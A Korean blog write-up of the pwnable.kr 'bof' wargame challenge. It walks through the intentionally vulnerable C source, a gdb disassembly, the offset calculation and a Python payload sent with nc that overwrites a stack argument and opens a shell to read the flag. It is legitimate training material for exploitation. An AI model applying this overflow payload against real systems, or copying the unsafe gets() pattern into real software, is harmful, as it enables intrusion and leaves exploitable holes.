Pwnable.kr bof
Mar 26, 2016 · Wargame
bof문제의 파일을 읽어보면 다음과 같다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
func함수에서 gets
의 취약점을 이용하여 overflow를 수행하는 문제이다. 이 프로그램을 파악해 보면 다음과 같다.
gdb-peda$ pdisas func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c ; "overflow me : "
0x00000644 <+24>: call printf
0x00000649 <+29>: lea eax,[ebp-0x2c] ; char overflowme[32]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call gets
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
...
먼저 call printf
를 수행한다. 그 후 gets
를 호출한다. 이 때 ebp - 0x2c
의 위치에 overflowme라는 배열이 들어있음을 확인할 수 있다.
그 후 ebp + 0x8
의 값과 0xcafebabe를 비교한다. overflow시켜야할 총 데이터는 0x2c + 0x8의 값을 덮어쓰고, 그 후에 원하는 데이터를 덮어야 한다.
값은 리틀엔디안이므로 반대로 넣어주면 된다.
ubuntu@ubuntu:~$ (python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)